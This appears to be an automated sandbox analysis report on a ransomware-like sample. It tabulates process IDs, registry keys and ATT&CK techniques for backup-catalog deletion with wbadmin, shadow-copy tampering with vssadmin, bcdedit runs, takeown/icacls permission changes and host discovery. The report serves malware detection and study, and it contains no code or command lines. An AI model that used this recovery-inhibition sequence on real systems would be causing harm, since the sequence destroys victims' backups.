70108d709719484a0ccae58da5ead506a6449130e70dbc7e6ac8cd40c91446c0

pid	Process
3664	bcdedit.exe
4772	bcdedit.exe
2748	bcdedit.exe
5040	bcdedit.exe
3276	bcdedit.exe
4532	bcdedit.exe
4732	bcdedit.exe
1792	bcdedit.exe
620	bcdedit.exe
3612	bcdedit.exe
4388	bcdedit.exe
4208	bcdedit.exe
792	bcdedit.exe
300	bcdedit.exe
3136	bcdedit.exe
868	bcdedit.exe
3012	bcdedit.exe
3572	bcdedit.exe
2880	bcdedit.exe
3108	bcdedit.exe
4088	bcdedit.exe
4532	bcdedit.exe
3520	bcdedit.exe
4708	bcdedit.exe
5076	bcdedit.exe
3916	bcdedit.exe
4344	bcdedit.exe
2880	bcdedit.exe
4880	bcdedit.exe
3108	bcdedit.exe
4328	bcdedit.exe
296	bcdedit.exe
548	bcdedit.exe
5076	bcdedit.exe
4708	bcdedit.exe
2696	bcdedit.exe
1764	bcdedit.exe
1552	bcdedit.exe
772	bcdedit.exe
4584	bcdedit.exe
2312	bcdedit.exe
304	bcdedit.exe
612	bcdedit.exe
4584	bcdedit.exe
568	bcdedit.exe
3376	bcdedit.exe
4612	bcdedit.exe
4584	bcdedit.exe
4448	bcdedit.exe
5128	bcdedit.exe
5300	bcdedit.exe
5576	bcdedit.exe
5648	bcdedit.exe
5704	bcdedit.exe
5736	bcdedit.exe
5968	bcdedit.exe
288	bcdedit.exe
5264	bcdedit.exe
3748	bcdedit.exe
3488	bcdedit.exe
5684	bcdedit.exe
5492	bcdedit.exe
5476	bcdedit.exe
5752	bcdedit.exe

Deletes backup catalog 3 TTPs 57 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
772	wbadmin.exe
4928	wbadmin.exe
940	wbadmin.exe
1524	wbadmin.exe
1416	wbadmin.exe
296	wbadmin.exe
3368	wbadmin.exe
3252	wbadmin.exe
1772	wbadmin.exe
5280	wbadmin.exe
5440	wbadmin.exe
5624	wbadmin.exe
6084	wbadmin.exe
6068	wbadmin.exe
5412	wbadmin.exe
300	wbadmin.exe
6020	wbadmin.exe
5320	wbadmin.exe
7344	wbadmin.exe
7828	wbadmin.exe
7840	wbadmin.exe
7908	wbadmin.exe
14200	wbadmin.exe
12568	wbadmin.exe
14924	wbadmin.exe
13268	wbadmin.exe
7976	wbadmin.exe
15724	wbadmin.exe
14992	Process not Found
15836	Process not Found
16116	Process not Found
13004	wbadmin.exe
9372	Process not Found
15856	Process not Found
15240	Process not Found
12888	Process not Found
7184	Process not Found
12296	Process not Found
7776	Process not Found
10480	Process not Found
16152	Process not Found
16112	Process not Found
3868	Process not Found
11324	Process not Found
13496	Process not Found
15276	Process not Found
15192	Process not Found
15580	Process not Found
10940	Process not Found
13252	Process not Found
5528	Process not Found
14844	Process not Found
13828	Process not Found
7784	Process not Found
7144	Process not Found
16196	Process not Found
15492	Process not Found

Possible privilege escalation attempt 64 IoCs

exploit

pid	Process
1524	takeown.exe
5372	icacls.exe
5848	takeown.exe
8832	takeown.exe
12908	icacls.exe
16208	takeown.exe
13560	Process not Found
7972	Process not Found
5672	takeown.exe
6248	Process not Found
12920	Process not Found
4956	Process not Found
5332	icacls.exe
6948	icacls.exe
12780	icacls.exe
16172	Process not Found
16000	Process not Found
3012	takeown.exe
4560	takeown.exe
5676	icacls.exe
14356	Process not Found
16204	Process not Found
14868	Process not Found
15016	Process not Found
344	icacls.exe
3936	icacls.exe
5836	takeown.exe
5840	takeown.exe
2880	takeown.exe
10452	takeown.exe
296	icacls.exe
5492	icacls.exe
5356	takeown.exe
11116	Process not Found
9824	takeown.exe
16144	Process not Found
3572	takeown.exe
9260	Process not Found
15704	Process not Found
3500	Process not Found
10048	Process not Found
5528	Process not Found
14940	Process not Found
10292	Process not Found
11660	Process not Found
7204	Process not Found
4812	takeown.exe
4080	takeown.exe
5604	icacls.exe
8052	icacls.exe
13340	takeown.exe
3820	Process not Found
3268	Process not Found
5404	Process not Found
616	Process not Found
344	takeown.exe
5340	icacls.exe
6960	takeown.exe
6444	icacls.exe
7028	icacls.exe
13268	Process not Found
10604	Process not Found
3348	Process not Found
5712	takeown.exe

Modifies file permissions 1 TTPs 64 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3268	Process not Found
3572	takeown.exe
3936	icacls.exe
16208	takeown.exe
7204	Process not Found
10048	Process not Found
6248	Process not Found
15164	Process not Found
14940	Process not Found
13560	Process not Found
4812	takeown.exe
5372	icacls.exe
5492	icacls.exe
5712	takeown.exe
11116	Process not Found
3820	Process not Found
4560	takeown.exe
5312	icacls.exe
16144	Process not Found
8948	Process not Found
344	icacls.exe
1524	takeown.exe
5340	icacls.exe
9260	Process not Found
5596	takeown.exe
14408	takeown.exe
13268	Process not Found
5808	Process not Found
8028	Process not Found
10644	Process not Found
5676	icacls.exe
7972	Process not Found
4956	Process not Found
3012	takeown.exe
8832	takeown.exe
11660	Process not Found
4080	takeown.exe
5260	icacls.exe
13016	Process not Found
4036	Process not Found
5672	takeown.exe
6100	takeown.exe
5680	icacls.exe
6948	icacls.exe
12780	icacls.exe
14356	Process not Found
10292	Process not Found
3500	Process not Found
6960	takeown.exe
8052	icacls.exe
9824	takeown.exe
12908	icacls.exe
16172	Process not Found
616	Process not Found
5528	Process not Found
3444	icacls.exe
13340	takeown.exe
7028	icacls.exe
4956	Process not Found
15016	Process not Found
4928	icacls.exe
296	icacls.exe
5332	icacls.exe
10568	takeown.exe

Enumerates connected drives 3 TTPs 10 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Command and Scripting Interpreter: PowerShell 1 TTPs 30 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
15056	powershell.exe
9688	powershell.exe
6444	powershell.exe
15016	powershell.exe
13424	powershell.exe
12324	powershell.exe
14848	Process not Found
13224	powershell.exe
9300	Process not Found
11708	powershell.exe
11096	Process not Found
11748	powershell.exe
568	powershell.exe
8856	Process not Found
14844	Process not Found
9844	Process not Found
15832	Process not Found
11056	Process not Found
7904	Process not Found
12952	powershell.exe
15052	Process not Found
14752	Process not Found
12456	powershell.exe
15728	powershell.exe
7596	powershell.exe
15248	powershell.exe
13112	powershell.exe
13532	Process not Found
11528	powershell.exe
16072	powershell.exe

Drops file in System32 directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\sys_28581.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_28251.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_5411.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_18122.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_13502.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_15966.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_5273.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_24651.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_27467.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_31282.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_22638.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_20386.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_2447.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_5817.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_32739.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_4072.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_32260.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_11526.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_6570.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_20381.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_13334.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_17726.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_9626.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_21006.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_18122.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_21973.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_23553.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_25194.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_29822.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_23227.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_12008.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_32733.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_5881.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_5777.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_20815.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_21428.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_8646.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_5974.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_23227.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_29465.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_23553.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_9524.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_26074.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_6213.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_28938.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_16488.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_17493.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_13925.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_5703.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_23723.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_32354.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_5960.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_10905.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_17362.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_13695.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_31801.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_11000.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_13980.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_9898.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_18401.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_27757.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_12075.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_27134.tmp	cmd.exe
File opened for modification	C:\Windows\System32\sys_14036.tmp	cmd.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
8252	cmd.exe
15760	Process not Found
1840	cmd.exe
4696	cmd.exe
4364	cmd.exe
6744	cmd.exe
7748	cmd.exe
7200	cmd.exe
16204	Process not Found
8812	cmd.exe
8728	cmd.exe
12824	cmd.exe
14996	cmd.exe
16316	cmd.exe
3372	Process not Found
8704	cmd.exe
8692	cmd.exe
9672	cmd.exe
12172	cmd.exe
15328	cmd.exe
14404	cmd.exe
16232	cmd.exe
15432	Process not Found
11864	cmd.exe
8456	cmd.exe
6448	cmd.exe
12364	cmd.exe
14512	cmd.exe
14236	cmd.exe
10924	Process not Found
10580	Process not Found
7172	cmd.exe
8964	cmd.exe
8932	cmd.exe
7768	cmd.exe
16336	cmd.exe
2276	cmd.exe
6508	cmd.exe
5668	cmd.exe
12424	cmd.exe
14440	cmd.exe
15292	cmd.exe
15676	cmd.exe
16040	cmd.exe
5764	cmd.exe
7260	cmd.exe
9732	cmd.exe
7436	cmd.exe
10452	cmd.exe
15400	Process not Found
4180	Process not Found
6296	cmd.exe
11448	cmd.exe
12056	cmd.exe
8288	cmd.exe
12576	cmd.exe
14452	cmd.exe
12840	cmd.exe
10576	cmd.exe
1552	cmd.exe
6408	cmd.exe
7864	cmd.exe
7732	cmd.exe
14416	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 64 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Process not Found

Checks SCSI registry key(s) 3 TTPs 10 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	dwm.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	dwm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dwm.exe

Interacts with shadow copies 3 TTPs 64 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

Direct Volume Access

T1006

pid	Process
804	Process not Found
11144	Process not Found
7628	vssadmin.exe
7852	vssadmin.exe
5988	vssadmin.exe
5680	vssadmin.exe
8716	vssadmin.exe
16012	vssadmin.exe
13080	Process not Found
4372	Process not Found
1132	vssadmin.exe
3520	vssadmin.exe
15124	vssadmin.exe
12072	vssadmin.exe
15452	vssadmin.exe
8848	vssadmin.exe
8512	Process not Found
11436	vssadmin.exe
9572	Process not Found
4196	vssadmin.exe
4532	vssadmin.exe
5364	vssadmin.exe
11916	vssadmin.exe
2448	Process not Found
9272	Process not Found
15904	Process not Found
3196	vssadmin.exe
1848	vssadmin.exe
15952	vssadmin.exe
5344	vssadmin.exe
15616	vssadmin.exe
11384	Process not Found
9584	Process not Found
7944	Process not Found
15308	vssadmin.exe
2224	Process not Found
3308	Process not Found
4092	Process not Found
14432	Process not Found
15088	vssadmin.exe
11028	Process not Found
3292	Process not Found
15108	Process not Found
14980	vssadmin.exe
1260	Process not Found
14440	Process not Found
15464	Process not Found
2448	Process not Found
2308	vssadmin.exe
3444	vssadmin.exe
5564	vssadmin.exe
5636	vssadmin.exe
304	vssadmin.exe
2896	Process not Found
4404	vssadmin.exe
4136	Process not Found
4544	vssadmin.exe
1124	vssadmin.exe
6096	vssadmin.exe
15512	vssadmin.exe
11740	vssadmin.exe
4588	vssadmin.exe
14228	vssadmin.exe
12184	vssadmin.exe

Modifies data under HKEY_USERS 18 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	dwm.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
7596	powershell.exe
7596	powershell.exe
9688	powershell.exe
9688	powershell.exe
7596	powershell.exe
7596	powershell.exe
9688	powershell.exe
11708	powershell.exe
11708	powershell.exe
11748	powershell.exe
11748	powershell.exe
13112	powershell.exe
13112	powershell.exe
11748	powershell.exe
11748	powershell.exe
13424	powershell.exe
13424	powershell.exe
13112	powershell.exe
15056	powershell.exe
15056	powershell.exe
12456	powershell.exe
15728	powershell.exe
15728	powershell.exe
12952	powershell.exe
12952	powershell.exe
12324	powershell.exe
12324	powershell.exe
6444	powershell.exe
6444	powershell.exe
15056	powershell.exe
12952	powershell.exe
12324	powershell.exe
12456	powershell.exe
12456	powershell.exe
6444	powershell.exe
15728	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeBackupPrivilege	2936	vssvc.exe
Token: SeRestorePrivilege	2936	vssvc.exe
Token: SeAuditPrivilege	2936	vssvc.exe
Token: SeIncreaseQuotaPrivilege	3136	WMIC.exe
Token: SeSecurityPrivilege	3136	WMIC.exe
Token: SeTakeOwnershipPrivilege	3136	WMIC.exe
Token: SeLoadDriverPrivilege	3136	WMIC.exe
Token: SeSystemProfilePrivilege	3136	WMIC.exe
Token: SeSystemtimePrivilege	3136	WMIC.exe
Token: SeProfSingleProcessPrivilege	3136	WMIC.exe
Token: SeIncBasePriorityPrivilege	3136	WMIC.exe
Token: SeCreatePagefilePrivilege	3136	WMIC.exe
Token: SeBackupPrivilege	3136	WMIC.exe
Token: SeRestorePrivilege	3136	WMIC.exe
Token: SeShutdownPrivilege	3136	WMIC.exe
Token: SeDebugPrivilege	3136	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3136	WMIC.exe
Token: SeRemoteShutdownPrivilege	3136	WMIC.exe
Token: SeUndockPrivilege	3136	WMIC.exe
Token: SeManageVolumePrivilege	3136	WMIC.exe
Token: 33	3136	WMIC.exe
Token: 34	3136	WMIC.exe
Token: 35	3136	WMIC.exe
Token: 36	3136	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3136	WMIC.exe
Token: SeSecurityPrivilege	3136	WMIC.exe
Token: SeTakeOwnershipPrivilege	3136	WMIC.exe
Token: SeLoadDriverPrivilege	3136	WMIC.exe
Token: SeSystemProfilePrivilege	3136	WMIC.exe
Token: SeSystemtimePrivilege	3136	WMIC.exe
Token: SeProfSingleProcessPrivilege	3136	WMIC.exe
Token: SeIncBasePriorityPrivilege	3136	WMIC.exe
Token: SeCreatePagefilePrivilege	3136	WMIC.exe
Token: SeBackupPrivilege	3136	WMIC.exe
Token: SeRestorePrivilege	3136	WMIC.exe
Token: SeShutdownPrivilege	3136	WMIC.exe
Token: SeDebugPrivilege	3136	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3136	WMIC.exe
Token: SeRemoteShutdownPrivilege	3136	WMIC.exe
Token: SeUndockPrivilege	3136	WMIC.exe
Token: SeManageVolumePrivilege	3136	WMIC.exe
Token: 33	3136	WMIC.exe
Token: 34	3136	WMIC.exe
Token: 35	3136	WMIC.exe
Token: 36	3136	WMIC.exe
